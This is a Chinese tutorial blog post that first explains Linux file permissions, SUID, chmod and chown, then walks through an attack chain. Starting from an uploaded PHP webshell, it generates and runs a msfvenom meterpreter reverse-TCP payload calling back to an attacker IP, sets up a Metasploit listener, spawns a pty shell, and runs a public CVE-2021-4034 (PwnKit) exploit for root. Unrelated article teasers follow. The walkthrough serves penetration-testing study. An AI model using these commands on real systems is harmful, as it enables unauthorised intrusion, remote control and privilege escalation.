从web漏洞到linux权限提升

从web漏洞到linux权限提升

  • 一、Linux系统介绍与使用
  • 二、Linux权限说明
    • 2.1、文件权限
    • 2.2、linux文件、目录权限说明
  • 三、权限提升

一、Linux系统介绍与使用

  • linux-全称GNU/Linux,是一种免费使用和自由传播的类UNIX操作系统,是基于POSIXI的多用户、多任务、支持多线程和多CPU的操作系统。能运行主要的Unix工具软件、应用程序和网络协议。支持32位和64位硬件。
  • Linux继承了Unix以网络为核心的设计思想,是一个性能稳定的多用户网络操作系统。Lniux有上百种不同的发行版,如基于社区开发的debian、archlinux,和基于商业开发的Red Hat Enterprise Linux、SUSE、Oracle Linux等。

二、Linux权限说明

  • 当我们使用kali用户登录系统后可以发现我们无法进入一些目录和查看一些文件,会提醒我们权限不够,那我们就只能切换为root用户才能进行访问。
  • 可见在Linux系统中的用户权限时非常重要的,在inux中存在多个用户,多种用户他们互相工作时是不会相互造成影响的。

在这里插入图片描述

2.1、文件权限

文件的权限针对三类对象进行定义:

  • owner 属主,缩写u – 创建这个文件的用户,所有人
  • group 属组,缩写g – 创建这个文件的所属用户存在的组(默认创建一个用户会生成一个组,以用户的名字去进行命名)
  • other 其他,缩写o – 其他的用户所有人
  • 每个文件针对每类访问者定义了三种主要权限:
    • rRead 读
    • wWrite 写
    • x:eXecute 执行

X:针对目录加执行权限,文件不加执行权限(因文件具备执行权限有安全隐患)
注意:root账户不受文件权限的读写限制,执行权限受限制

2.2、linux文件、目录权限说明

  • 文件权限

    • r 读取文件内容
    • w 修改文件内容
    • x 执行权限 //对除二进制以外的文件没有什么意义
  • 目录权限

    • r 查看目录下的文件列表
    • w 删除和创建目录下的文件
    • x 可以cd进入目录,能查看目录中的详细属性,能访问目录中的文件内容(基础权限)
  • 权限对应数字及读取规则

    • r 读 数字表示形式为4
    • w 写 数字表示形式为2
    • x 执行 数字表示形式为1
    • chmod
  • 可组合利用,则给予读写权限表示为6,读写执行权限为7以此类推可相加使用。

  • 用户获取文件权限的顺序:先看是否为所有者,如果是,则后面权限不看;再看是否为所属组,如果是,则后面权限不看。

chomd o+w 1.txt  #other,其他人对文件1.txt多了写的权限
  • 特殊权限suid权限

    • 作用:给一个用户继承二进制程序所有者拥有的权限(可以暂时借用root权限)
    • suid权限位位于所有者的执行权限位上,如果一个文件具有suid权限,则所有者执行位为s,文件表现为红色背景
    • 实例如下:
      在这里插入图片描述
    • suid 只适合作用在二进制程序上。
  • chmod命令修改权限

    • 权限管理命令:chmod
    • 命令名称:chmod
    • 命令英文原意:change the permissions mode of a file
    • 命令所在路径:/bin/chmod
    • 执行权限:chmod【{ugoa}{+-=}【文件或目录】
      • 【mode=421】【文件或目录】 -R 递归修改
    • 功能描述:改变文件或目录权限
    • 范例:
      • $chmod g+w testfile 赋予文件testfile所属组写权限
      • $chmod -R 777 testdir 修改目录testfile及目录下文件为所有用户具有全部权限
    • 赋予特殊权限suid chmod u+s file 数字表示:chmod 4755 file
  • chown命令修改所有者权限

    • 权限管理命令:chown
    • 命令名称:chown
    • 命令英文原意:change file ownership
    • 命名所在路径:/bin/chown
    • 执行权限:所有用户
    • 语法:chown 【用户】【文件或目录】
    • 功能描述:改变文件或目录的所有者
    • 范例:$chown yiye fengjie 改变文件fengjie的所有者为yiye

三、权限提升

假设已经上传shell.php的一句话木马文件到目标主机的网站根目录,并且使用蚁剑成功连接。

在这里插入图片描述
在这里插入图片描述

1、生成Linux的后门木马文件。

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.9.148 lport=10010 -f elf -o yiye.elf

在这里插入图片描述

2、通过蚁剑上传木马文件到目标主机。

在这里插入图片描述

3、通过蚁剑赋予木马文件执行权限。

在这里插入图片描述

4、通过msf控制台配置监听器。

┌──(root㉿kali)-[~/Desktop]
└─# msfconsole                                                                                      
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options msf6 exploit(multi/handler) > set lhost 192.168.9.148
lhost => 192.168.9.148
msf6 exploit(multi/handler) > set lport 10010

在这里插入图片描述
在这里插入图片描述

5、开启监听。

在这里插入图片描述

6、通过蚁剑运行木马程序。

在这里插入图片描述

7、获得会话,权限不够需要提升。

在这里插入图片描述
8、通过漏洞cve20210-4034进行提权。

  • 漏洞exp地址 https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip

9、将文件上传。

在这里插入图片描述

10、通过kali输入shell进入目标交互系统。

在这里插入图片描述

11、使用python语句 python3 -c 'import pty;pty.spawn("/bin/bash")' 获取交互shell。

在这里插入图片描述

12、使用python执行提权脚本。

python3 cve2021-4034.py

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/52320.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI赋能转型升级 助力打造“数智辽宁”——首次大模型研讨沙龙在沈成功举行

当前,以“ChatGPT”为代表的大模型正在引领新一轮全球人工智能技术发展浪潮,推动人工智能从以专用小模型定制训练为主的“手工作坊时代”,迈入以通用大模型预训练为主的“工业化时代”,正不断加速实体经济智能化升级,深…

了解垃圾回收算法

点击下方关注我,然后右上角点击...“设为星标”,就能第一时间收到更新推送啦~~~ 垃圾回收(Garbage Collect)是Java语言中的一种自动内存管理机制,用于自动回收不再使用的对象所占用的内存空间。Java虚拟机会自动追踪和…

【科普知识】了解电机T型速度曲线和S型速度曲线的区别!

当电机从静止状态启动并加速到额定转速时,其速度变化并非线性的,而是呈现出不同的曲线特征。T型速度曲线和S型速度曲线是两种典型的电机加速曲线类型。那它们之间有什么区别呢?今天,就让我们来深入探讨电机加速曲线的奥秘。 电机速…

2023值得关注的人工智能7大发展趋势

随着人工智能技术的不断创新和应用,我们可以看到人工智能在各个领域的应用越来越广泛。其中,有一些趋势特别值得我们关注。 1)深度学习技术的发展 深度学习技术在图像识别、语音识别、自然语言处理等领域表现出色,随着硬件计算能…

大模型系列|基于大模型复杂数据系统架构(二)

张俊林老师在 2023 WAIC AI 开发者论坛的演讲非常有概括性,这边沿着思路进行一定的整理。(文章来源:WAIC 2023 | 张俊林:大语言模型带来的交互方式变革) 文章目录 1 PlanningProgramming 模式的系统技术架构2 HuggingG…

把网站改为HTTPS访问方法

HTTPS是使用TSL/SSL加密超文本传输协议的扩展,用于跨网络的安全传输。网站更改为HTTPS,直接在网站形象上可以得到提升,更重要的是您的网站肯定会在排名和提升方面受益。机密信息的交换需要受到保护,以阻止未经授权的访问。 加密&a…

c语言指针的运算

1、通过指针计算数组的元素&#xff08;指针相减&#xff0c;类型需要一致&#xff09;&#xff0c;比如数组元素指针相减得到的是中间相差的元素个数&#xff0c;可以用于计算数组元素的个数等 #include "stdio.h" #include <stdlib.h>int main() {int a[10]…

《吐血整理》进阶系列教程-拿捏Fiddler抓包教程(19)-Fiddler精选插件扩展安装,将你的Fiddler武装到牙齿

1.简介 Fiddler本身的功能其实也已经很强大了&#xff0c;但是Fiddler官方还有很多其他扩展插件功能&#xff0c;可以更好地辅助Fiddler去帮助用户去开发、测试和管理项目上的任务。Fiddler已有的功能已经够我们日常工作中使用了&#xff0c;为了更好的扩展Fiddler&#xff0c…

spring-cache框架使用笔记

spring-cache框架使用笔记 什么是spring-cache框架 spring-cache是spring框架中的一个缓存抽象层&#xff0c; 它提供了一种简便的方式来集成不同的底层缓存实现&#xff0c; 如内存缓存(concurrentMap/ehcache/caffeine)/分布式缓存(redis/couchbase)等 它简化了在app中使用…

go 如何知道一个对象是分配在栈上还是堆上?

如何判断变量是分配在栈&#xff08;stack&#xff09;上还是堆&#xff08;heap&#xff09;上&#xff1f; Go和C不同&#xff0c;Go局部变量会进行逃逸分析。如果变量离开作用域后没有被引用&#xff0c;则优先分配到栈上&#xff0c;否则分配到堆上。判断语句&#xff1a;…

tomcat

1. 简述静态网页和动态网页的区别。 静态网页是指在服务器存储的网页内容保持不变&#xff0c;不会根据用户的请求或其他条件而改变。它的内容是固定的&#xff0c;无法根据用户的不同需求进行个性化或实时更新。静态网页一般由HTML、CSS和JavaScript等静态资源组成&#xff0…

引入联合GraphQL以解决系统架构中的问题

随着使用需求的增长&#xff0c;用户群的扩大以及新功能的引入&#xff0c;让工程师按照业务的主要领域进行组织变得不可避免。当这些领域在单个实体&#xff08;如类、服务、应用程序或代码库&#xff09;的层面变得过于庞大难以管理时&#xff0c;引入联合GraphQL成为优化系统…